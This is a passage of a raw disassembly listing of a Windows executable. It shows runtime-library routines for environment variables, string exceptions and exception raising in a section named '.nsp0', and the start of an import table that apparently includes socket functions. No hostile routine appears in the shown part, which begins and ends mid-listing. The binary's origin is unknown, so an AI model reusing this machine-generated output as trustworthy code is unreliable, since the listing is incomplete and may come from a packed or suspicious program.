dword_481DEC, eax jz short loc_41749B mov [eax], edi loc_4174D9: ; CODE XREF: sub_417437+4Cj ; sub_417437+62j ... sub esi, [ebp+arg_0] mov edi, dword_481DE4 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_4175BE mov esi, eax pop ecx test esi, esi pop ecx jl short loc_417539 cmp dword ptr [edi], 0 jz short loc_417539 test ebx, ebx jz short loc_417531 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_40CD81 pop ecx loc_41750B: ; CODE XREF: sub_417437+E2j cmp dword ptr [edi], 0 jz short loc_41751B mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41750B ; --------------------------------------------------------------------------- loc_41751B: ; CODE XREF: sub_417437+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_40DB08 pop ecx test eax, eax pop ecx jz short loc_41756B jmp short loc_417566 ; --------------------------------------------------------------------------- loc_417531: ; CODE XREF: sub_417437+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_41756B ; --------------------------------------------------------------------------- loc_417539: ; CODE XREF: sub_417437+BDj ; sub_417437+C2j test ebx, ebx jnz short loc_4175B7 test esi, esi jge short loc_417543 neg esi loc_417543: ; CODE XREF: sub_417437+108j lea eax, ds:8[esi*4] push eax push edi call sub_40DB08 pop ecx test eax, eax pop ecx jz loc_41749B mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_417566: ; CODE XREF: sub_417437+F8j mov dword_481DE4, eax loc_41756B: ; CODE XREF: sub_417437+F6j ; sub_417437+100j cmp [ebp+arg_4], 0 jz short loc_4175B7 push [ebp+arg_0] call sub_40CBC0 inc eax inc eax push eax call sub_40CCCF mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4175B7 push [ebp+arg_0] push esi call sub_40E3C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_418004 ; SetEnvironmentVariableA push esi call sub_40CD81 pop ecx loc_4175B7: ; CODE XREF: sub_417437+6Ej ; sub_417437+104j ... xor eax, eax jmp loc_41749E sub_417437 endp ; =============== S U B R O U T I N E ======================================= sub_4175BE proc near ; CODE XREF: sub_417437+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_481DE4 push edi mov eax, [esi] test eax, eax jz short loc_4175F9 mov edi, [esp+8+arg_4] loc_4175D0: ; CODE XREF: sub_4175BE+39j push edi push eax push [esp+10h+arg_0] call sub_4170E2 add esp, 0Ch test eax, eax jnz short loc_4175EF mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_417609 test al, al jz short loc_417609 loc_4175EF: ; CODE XREF: sub_4175BE+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_4175D0 loc_4175F9: ; CODE XREF: sub_4175BE+Cj mov eax, esi sub eax, dword_481DE4 sar eax, 2 neg eax loc_417606: ; CODE XREF: sub_4175BE+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_417609: ; CODE XREF: sub_4175BE+2Bj ; sub_4175BE+2Fj mov eax, esi sub eax, dword_481DE4 sar eax, 2 jmp short loc_417606 sub_4175BE endp ; =============== S U B R O U T I N E ======================================= sub_417616 proc near ; CODE XREF: sub_417437+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_417625 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_417625: ; CODE XREF: sub_417616+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_417637 loc_41762D: ; CODE XREF: sub_417616+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41762D loc_417637: ; CODE XREF: sub_417616+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_40CCCF mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_417658 push 9 call sub_40EC7A pop ecx loc_417658: ; CODE XREF: sub_417616+38j mov eax, [edi] mov ebx, edi loc_41765C: ; CODE XREF: sub_417616+5Bj test eax, eax jz short loc_417673 push eax add ebx, 4 call sub_4176F0 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41765C ; --------------------------------------------------------------------------- loc_417673: ; CODE XREF: sub_417616+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_417616 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41767D proc near ; CODE XREF: sub_417437+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4831FC, 0 jnz short loc_417698 push [ebp+arg_4] push [ebp+arg_0] call sub_40E610 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_417698: ; CODE XREF: sub_41767D+Aj mov ecx, [ebp+arg_0] loc_41769B: ; CODE XREF: sub_41767D+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_4176DE movzx edx, al test byte_483301[edx], 4 jz short loc_4176CA mov dl, [ecx+1] inc ecx test dl, dl jz short loc_4176D5 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_4176D9 jmp short loc_4176D2 ; --------------------------------------------------------------------------- loc_4176CA: ; CODE XREF: sub_41767D+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_4176DE loc_4176D2: ; CODE XREF: sub_41767D+4Bj inc ecx jmp short loc_41769B ; --------------------------------------------------------------------------- loc_4176D5: ; CODE XREF: sub_41767D+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_4176D9: ; CODE XREF: sub_41767D+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_4176DE: ; CODE XREF: sub_41767D+25j ; sub_41767D+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41767D endp ; =============== S U B R O U T I N E ======================================= sub_4176F0 proc near ; CODE XREF: sub_4051D9+21p ; sub_417616+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_417717 push esi call sub_40CBC0 inc eax push eax call sub_40CCCF pop ecx test eax, eax pop ecx jz short loc_417717 push esi push eax call sub_40E3C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_417717: ; CODE XREF: sub_4176F0+7j ; sub_4176F0+1Aj xor eax, eax pop esi retn sub_4176F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417720 proc near ; CODE XREF: sub_40258B+12p ; sub_4025E5+12p ... mov eax, offset loc_417C14 call sub_40D3D8 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_402790 mov esi, offset aStringTooLong ; "string too long" push esi call sub_40CBC0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_4027C8 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41777A lea eax, [ebp-3Ch] push offset dword_418F70 push eax mov dword ptr [ebp-3Ch], offset off_418C34 call sub_417B7B pop esi sub_417720 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41777A proc near ; CODE XREF: sub_417720+3Fp ; sub_41794C+3Fp mov eax, offset loc_417C28 call sub_40D3D8 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_4242F0 call sub_417AA0 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_402790 push dword_418C60 mov ecx, edi push 0 push ebx call sub_40263D mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_418C54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41777A endp ; =============== S U B R O U T I N E ======================================= sub_4177DE proc near ; DATA XREF: .nsp0:00418C38o ; .nsp0:00418C58o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4177EA mov eax, offset dword_418220 locret_4177EA: ; CODE XREF: sub_4177DE+5j retn sub_4177DE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp-1Ch] call sub_417861 lea eax, [ebp-1Ch] push offset dword_418FE0 push eax call sub_417B7B ; =============== S U B R O U T I N E ======================================= sub_417808 proc near ; CODE XREF: .nsp0:00417848p ; DATA XREF: .nsp0:00418FE4o mov eax, offset loc_417C3C call sub_40D3D8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_418C54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_417B27 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_417808 endp ; --------------------------------------------------------------------------- loc_417845: ; DATA XREF: .nsp0:off_418C54o push esi mov esi, ecx call sub_417808 test byte ptr [esp+8], 1 jz short loc_41785B push esi call sub_40D448 pop ecx loc_41785B: ; CODE XREF: .nsp0:00417852j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_417861 proc near ; CODE XREF: .nsp0:004177F5p ; sub_417934+7p ... mov eax, offset loc_417C50 call sub_40D3D8 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_417ADD mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_402790 push dword_418C60 mov ecx, edi push 0 push ebx call sub_40263D mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_418C54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_417861 endp ; =============== S U B R O U T I N E ======================================= sub_4178BE proc near ; CODE XREF: sub_4178FB+20p ; DATA XREF: .nsp0:00418F74o mov eax, offset loc_417C64 call sub_40D3D8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_418C54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_417B27 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_4178BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178FB proc near ; DATA XREF: .nsp0:00418C3Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_417934 lea eax, [ebp+var_1C] push offset dword_418F70 push eax call sub_417B7B loc_417918: ; DATA XREF: .nsp0:off_418C34o push esi mov esi, ecx call sub_4178BE test [esp+20h+var_18], 1 jz short loc_41792E push esi call sub_40D448 pop ecx loc_41792E: ; CODE XREF: sub_4178FB+2Aj mov eax, esi pop esi retn 4 sub_4178FB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417934 proc near ; CODE XREF: sub_4178FB+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417861 mov dword ptr [esi], offset off_418C34 mov eax, esi pop esi retn 4 sub_417934 endp ; =============== S U B R O U T I N E ======================================= sub_41794C proc near ; CODE XREF: sub_40263D+13p ; sub_4027FD+Ep mov eax, offset loc_417C78 call sub_40D3D8 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_402790 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_40CBC0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_4027C8 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41777A lea eax, [ebp-3Ch] push offset dword_419098 push eax mov dword ptr [ebp-3Ch], offset off_418C68 call sub_417B7B pop esi sub_41794C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4179A6 proc near ; CODE XREF: sub_4179E3+20p ; DATA XREF: .nsp0:0041909Co mov eax, offset loc_417C8C call sub_40D3D8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_418C54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_417B27 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_4179A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179E3 proc near ; DATA XREF: .nsp0:00418C70o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_417A1C lea eax, [ebp+var_1C] push offset dword_419098 push eax call sub_417B7B loc_417A00: ; DATA XREF: .nsp0:off_418C68o push esi mov esi, ecx call sub_4179A6 test [esp+20h+var_18], 1 jz short loc_417A16 push esi call sub_40D448 pop ecx loc_417A16: ; CODE XREF: sub_4179E3+2Aj mov eax, esi pop esi retn 4 sub_4179E3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417A1C proc near ; CODE XREF: sub_4179E3+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417861 mov dword ptr [esi], offset off_418C68 mov eax, esi pop esi retn 4 sub_417A1C endp ; =============== S U B R O U T I N E ======================================= sub_417A34 proc near ; DATA XREF: .nsp0:0041A008o ; FUNCTION CHUNK AT 00417A6A SIZE 0000000C BYTES test byte_4820AC, 1 jnz short loc_417A44 or byte_4820AC, 1 loc_417A44: ; CODE XREF: sub_417A34+7j call sub_417A5E test byte_483440, 1 jnz short loc_417A59 or byte_483440, 1 loc_417A59: ; CODE XREF: sub_417A34+1Cj jmp loc_417A6A sub_417A34 endp ; =============== S U B R O U T I N E ======================================= sub_417A5E proc near ; CODE XREF: sub_417A34:loc_417A44p push offset nullsub_1 call sub_40D810 pop ecx retn sub_417A5E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417A34 loc_417A6A: ; CODE XREF: sub_417A34:loc_417A59j push offset nullsub_1 call sub_40D810 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_417A34 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_417A78 proc near ; CODE XREF: sub_401F1D+5Ep ; sub_403E11+157p jmp dword_4181C0 sub_417A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_417A7E proc near ; CODE XREF: sub_40D044+23p ; sub_40D2E8+13p jmp dword_418118 sub_417A7E endp ; =============== S U B R O U T I N E ======================================= sub_417A84 proc near ; DATA XREF: .nsp0:off_418C90o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_417B27 test [esp+4+arg_0], 1 jz short loc_417A9A push esi call sub_40D448 pop ecx loc_417A9A: ; CODE XREF: sub_417A84+Dj mov eax, esi pop esi retn 4 sub_417A84 endp ; =============== S U B R O U T I N E ======================================= sub_417AA0 proc near ; CODE XREF: sub_41777A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_418C90 push dword ptr [edi] call sub_40CBC0 inc eax push eax call sub_40D795 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_417ACF push dword ptr [edi] push eax call sub_40E3C0 pop ecx pop ecx loc_417ACF: ; CODE XREF: sub_417AA0+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_417AA0 endp ; =============== S U B R O U T I N E ======================================= sub_417ADD proc near ; CODE XREF: sub_417861+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_418C90 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_417B1A push dword ptr [edi+4] call sub_40CBC0 inc eax push eax call sub_40D795 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_417B20 push dword ptr [edi+4] push eax call sub_40E3C0 pop ecx pop ecx jmp short loc_417B20 ; --------------------------------------------------------------------------- loc_417B1A: ; CODE XREF: sub_417ADD+16j mov eax, [edi+4] mov [esi+4], eax loc_417B20: ; CODE XREF: sub_417ADD+2Ej ; sub_417ADD+3Bj mov eax, esi pop edi pop esi retn 4 sub_417ADD endp ; =============== S U B R O U T I N E ======================================= sub_417B27 proc near ; CODE XREF: sub_417808+2Bp ; sub_4178BE+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_418C90 jz short locret_417B3C push dword ptr [ecx+4] call sub_40D448 pop ecx locret_417B3C: ; CODE XREF: sub_417B27+Aj retn sub_417B27 endp ; =============== S U B R O U T I N E ======================================= sub_417B3D proc near ; DATA XREF: .nsp0:00418C94o mov eax, [ecx+4] test eax, eax jnz short locret_417B49 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_417B49: ; CODE XREF: sub_417B3D+5j retn sub_417B3D endp ; =============== S U B R O U T I N E ======================================= sub_417B4A proc near ; CODE XREF: .nsp0:00417B62p mov dword ptr [ecx], offset off_418CB0 mov ecx, [ecx+4] test ecx, ecx jz short locret_417B5E push ecx call sub_40CD81 pop ecx locret_417B5E: ; CODE XREF: sub_417B4A+Bj retn sub_417B4A endp ; --------------------------------------------------------------------------- loc_417B5F: ; DATA XREF: .nsp0:off_418CB0o push esi mov esi, ecx call sub_417B4A test byte ptr [esp+8], 1 jz short loc_417B75 push esi call sub_40D448 pop ecx loc_417B75: ; CODE XREF: .nsp0:00417B6Cj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B7B proc near ; CODE XREF: sub_417720+54p ; .nsp0:00417803p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_418CB8 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_41814C ; RaiseException pop edi pop esi leave retn 8 sub_417B7B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_417BB8 proc near ; DATA XREF: .nsp0:00418E64o ; FUNCTION CHUNK AT 00402583 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_402583 sub_417BB8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_417BD6 mov ecx, [ebp+8] jmp loc_402583 ; --------------------------------------------------------------------------- locret_417BD6: ; CODE XREF: .nsp0:00417BC8j retn ; --------------------------------------------------------------------------- loc_417BD7: ; DATA XREF: sub_40215Eo mov eax, offset dword_418E68 jmp loc_40D093 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_402583 ; --------------------------------------------------------------------------- loc_417BEC: ; DATA XREF: .nsp0:00418E90o lea ecx, [ebp-1Ch] jmp loc_402583 ; --------------------------------------------------------------------------- loc_417BF4: ; DATA XREF: sub_4022FDo mov eax, offset dword_418E94 jmp loc_40D093 ; --------------------------------------------------------------------------- align 10h loc_417C00: ; DATA XREF: sub_402864o mov eax, offset dword_418EE4 jmp loc_40D093 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_402583 ; --------------------------------------------------------------------------- loc_417C14: ; DATA XREF: sub_417720o mov eax, offset dword_418F80 jmp loc_40D093 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] jmp sub_417B27 ; --------------------------------------------------------------------------- loc_417C28: ; DATA XREF: sub_41777Ao mov eax, offset dword_418FA8 jmp loc_40D093 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_417B27 ; --------------------------------------------------------------------------- loc_417C3C: ; DATA XREF: sub_417808o mov eax, offset dword_418FF0 jmp loc_40D093 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_417B27 ; --------------------------------------------------------------------------- loc_417C50: ; DATA XREF: sub_417861o mov eax, offset dword_419018 jmp loc_40D093 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_417B27 ; --------------------------------------------------------------------------- loc_417C64: ; DATA XREF: sub_4178BEo mov eax, offset dword_419040 jmp loc_40D093 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-20h] jmp loc_402583 ; --------------------------------------------------------------------------- loc_417C78: ; DATA XREF: sub_41794Co mov eax, offset dword_4190A8 jmp loc_40D093 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_417B27 ; --------------------------------------------------------------------------- loc_417C8C: ; DATA XREF: sub_4179A6o mov eax, offset dword_4190D0 jmp loc_40D093 ; --------------------------------------------------------------------------- align 4 dd 0DAh dup(0) dword_418000 dd 77E7513Ch ; DATA XREF: .nsp0:0040657Dr dword_418004 dd 77E6BD68h ; DATA XREF: sub_417437+173r dword_418008 dd 77E77F2Eh ; DATA XREF: sub_41718F+3Er ; sub_41718F+261r dword_41800C dd 77E762D0h ; DATA XREF: sub_41718F+5Br ; sub_41718F+B9r dword_418010 dd 77E70192h ; DATA XREF: sub_416C0D+F9r dword_418014 dd 77E73FF9h ; DATA XREF: sub_415753+2Cr dword_418018 dd 77E7FF2Eh ; DATA XREF: sub_415625:loc_415675r ; sub_41569C:loc_4156EFr dword_41801C dd 77E7C866h ; DATA XREF: sub_415447+3Fr ; sub_415447+12Dr dword_418020 dd 77E641EBh ; DATA XREF: sub_415447+59r ; sub_415447+8Dr dword_418024 dd 77E7176Ch ; DATA XREF: sub_415418+8r dword_418028 dd 77E7339Ch ; DATA XREF: sub_4153E0+Cr dword_41802C dd 77E7C9E7h ; DATA XREF: .nsp0:004153C7r ; .nsp0:004153D9r dword_418030 dd 77E78406h ; DATA XREF: sub_4143B3+FFr ; sub_4143B3+166r ... dword_418034 dd 77E79C3Dh ; DATA XREF: sub_4143B3+158r ; sub_414679+143r dword_418038 dd 77E7C931h ; DATA XREF: sub_4143B3+19Dr dword_41803C dd 77E77EE1h ; DATA XREF: sub_414281+9r dword_418040 dd 77E61BE6h ; DATA XREF: sub_401141+1C0r ; sub_401141+279r ... dword_418044 dd 77F5157Dh ; DATA XREF: sub_401141+12Br ; sub_401141+24Cr ... dword_418048 dd 77E7AC37h ; DATA XREF: sub_401141+10Br ; sub_401141+22Er ... dword_41804C dd 77E7A099h ; DATA XREF: sub_401141+58r ; sub_401141+166r ... dword_418050 dd 77E73C49h ; DATA XREF: sub_40154B+1B3r ; sub_401704+251r ... dword_418054 dd 77F7E300h ; DATA XREF: sub_40154B+D5r dword_418058 dd 77F7E21Fh ; DATA XREF: sub_40154B+9Br dword_41805C dd 77E7751Ah ; DATA XREF: sub_40154B+2Cr ; sub_4032EE+C9r ... dword_418060 dd 77E7C706h ; DATA XREF: sub_401704+77r dword_418064 dd 77F53275h ; DATA XREF: sub_401704+6Br ; sub_401704+241r dword_418068 dd 77E70F89h ; DATA XREF: sub_403145+Dr ; sub_40E2E2+Dr dword_41806C dd 77E802FCh ; DATA XREF: sub_40B3F5+109r ; sub_40B3F5+250r dword_418070 dd 77E6D75Bh ; DATA XREF: sub_40B3F5+FFr dword_418074 dd 77E75CB5h ; DATA XREF: sub_4032EE+465r ; sub_403B83+DFr ... dword_418078 dd 77E61BB8h ; DATA XREF: sub_4032EE+44Fr ; sub_403B83+A7r ... dword_41807C dd 77E77963h ; DATA XREF: sub_4032EE+224r ; sub_403B83+B8r ... dword_418080 dd 77E79D8Ch ; DATA XREF: sub_4032EE+137r ; sub_40551B+AEr ... dword_418084 dd 77E7A837h ; DATA XREF: sub_4032EE+5Dr ; sub_405455+36r ... dword_418088 dd 77E704FCh ; DATA XREF: sub_403B83+74r ; sub_407041+CCr ... dword_41808C dd 77E805D8h ; DATA XREF: sub_4045F0+13Ar ; sub_4045F0:loc_404A86r ... dword_418090 dd 77E7A5FDh ; DATA XREF: sub_4045F0+11r ; sub_411D85+15r ... dword_418094 dd 77E79F93h ; DATA XREF: sub_4045F0+2r ; sub_40551B+FBr ... dword_418098 dd 77E76A60h ; DATA XREF: sub_40530E+2Dr dword_41809C dd 77E71B14h ; DATA XREF: sub_405398+26r dword_4180A0 dd 77E7166Fh ; DATA XREF: sub_405398+1Dr dword_4180A4 dd 77E75090h ; DATA XREF: sub_4053D3+69r dword_4180A8 dd 77E74D76h ; DATA XREF: sub_4053D3+36r dword_4180AC dd 77E77797h ; DATA XREF: sub_4053D3+25r dword_4180B0 dd 77E7011Ah ; DATA XREF: sub_405455+96r dword_4180B4 dd 77E73CE2h ; DATA XREF: sub_405455+60r dword_4180B8 dd 77E668D9h ; DATA XREF: sub_40551B+15Dr dword_4180BC dd 77E70396h ; DATA XREF: sub_40551B+126r ; sub_407041+1C1r ... dword_4180C0 dd 77E74CABh ; DATA XREF: sub_40551B+10Fr ; sub_407041+1AAr ... dword_4180C4 dd 77E6AD34h ; DATA XREF: sub_40551B+35r ; sub_4077FD+24C6r dword_4180C8 dd 77E79924h ; DATA XREF: sub_4056A3+13r ; sub_413455+20Dr ... dword_4180CC dd 77E77CCEh ; DATA XREF: sub_405775+Fr ; sub_413455+DFr ... dword_4180D0 dd 77E65F4Ch ; DATA XREF: .nsp0:00406510r dword_4180D4 dd 77E79C90h ; DATA XREF: sub_405D28+Cr ; sub_40E7D4+10r dword_4180D8 dd 77E616B4h ; DATA XREF: sub_405D93+193r ; sub_40601E+1Fr ... dword_4180DC dd 77E706B7h ; DATA XREF: sub_405D93+184r ; sub_40601E+10r ... dword_4180E0 dd 77E7C657h ; DATA XREF: .nsp0:004065F1r ; sub_40B807+24r ... dword_4180E4 dd 77E6C29Dh ; DATA XREF: sub_406D25+1F0r dword_4180E8 dd 77E73628h ; DATA XREF: sub_407041+329r ; sub_4077FD+2B0Dr ... dword_4180EC dd 77E80656h ; DATA XREF: sub_407041+255r dword_4180F0 dd 77E6BD13h ; DATA XREF: sub_407041:loc_407208r dword_4180F4 dd 77E79D5Bh ; DATA XREF: sub_407041+70r ; sub_407041+2FFr dword_4180F8 dd 77E7C2C4h ; DATA XREF: sub_407041+69r dword_4180FC dd 77E71AFEh ; DATA XREF: sub_4077FD+2372r dword_418100 dd 77E76C1Ah ; DATA XREF: sub_40B807+1CFr dword_418104 dd 77E64106h ; DATA XREF: sub_40B807+1B6r dword_418108 dd 77E64006h ; DATA XREF: sub_40B807+19Fr dword_41810C dd 77E75CEBh ; DATA XREF: sub_40C19D+27r dword_418110 dd 77F516F8h ; DATA XREF: sub_40CD0D+6Cr ; sub_40DB08+C6r ... dword_418114 dd 77F51597h ; DATA XREF: sub_40CD81+60r ; sub_4102F3+2C5r ... dword_418118 dd 77F6183Eh ; DATA XREF: sub_417A7Er dword_41811C dd 77F5722Fh ; DATA XREF: sub_40DB08+110r ; sub_40DB08+22Dr ... dword_418120 dd 77E76E3Dh ; DATA XREF: sub_40E2E2+6Cr ; sub_415A78+38r dword_418124 dd 77E61608h ; DATA XREF: sub_40E2E2+17r dword_418128 dd 77E6177Ah ; DATA XREF: sub_40EB84+9Fr ; sub_4143B3+59r dword_41812C dd 77E7C938h ; DATA XREF: sub_40EB84+74r dword_418130 dd 77E7C486h ; DATA XREF: sub_40EB84+26r dword_418134 dd 77E7AC5Eh ; DATA XREF: sub_4100DB+54r dword_418138 dd 77E76E0Bh ; DATA XREF: sub_410223+50r dword_41813C dd 77E7C726h ; DATA XREF: sub_410223+11r dword_418140 dd 77E79E34h ; DATA XREF: sub_4102F3+240r ; sub_410DC7+120r ... dword_418144 dd 77E7980Ah ; DATA XREF: sub_410925+76r ; sub_4109D6+51r ... dword_418148 dd 77E73196h ; DATA XREF: sub_4153FC+Cr dword_41814C dd 77E6D706h ; DATA XREF: sub_41157F+215r ; sub_417B7B+2Er dword_418150 dd 77F522F2h ; DATA XREF: sub_412AE8+58r dword_418154 dd 77E78B82h ; DATA XREF: sub_412E82+84r ; sub_412E82+155r dword_418158 dd 77E77405h ; DATA XREF: sub_413455+5Er ; sub_413455+A7r dword_41815C dd 77E781F9h ; DATA XREF: sub_413455+42r ; sub_413455+14Dr ... dword_418160 dd 77E7849Fh ; DATA XREF: sub_413679+48r ; sub_4138B8+14r ... dword_418164 dd 77E7A13Fh ; DATA XREF: sub_413812+2Fr dword_418168 dd 77E6C703h ; DATA XREF: sub_413812+1Ar dword_41816C dd 77E78C81h ; DATA XREF: sub_413BAD+4Fr dword_418170 dd 77EB9A84h ; DATA XREF: sub_413D9F+138r dword_418174 dd 77E9C5B1h ; DATA XREF: sub_414281+11Fr dword_418178 dd 77E7C9E1h ; DATA XREF: sub_414281+CEr dword_41817C dd 77E67702h ; DATA XREF: sub_414281:loc_4142B0r ; sub_414281+E1r dd 0 dword_418184 dd 71AB1836h ; DATA XREF: sub_4043F8+6Er ; sub_404475+8Er dword_418188 dd 71AB41DAh ; DATA XREF: sub_403E11+47r ; sub_4043F8+15r dword_41818C dd 71AB155Ah ; DATA XREF: sub_403E11+9Dr dword_418190 dd 71AB3ECEh ; DATA XREF: sub_403E11+C4r dword_418194 dd 71AB5DE2h ; DATA XREF: 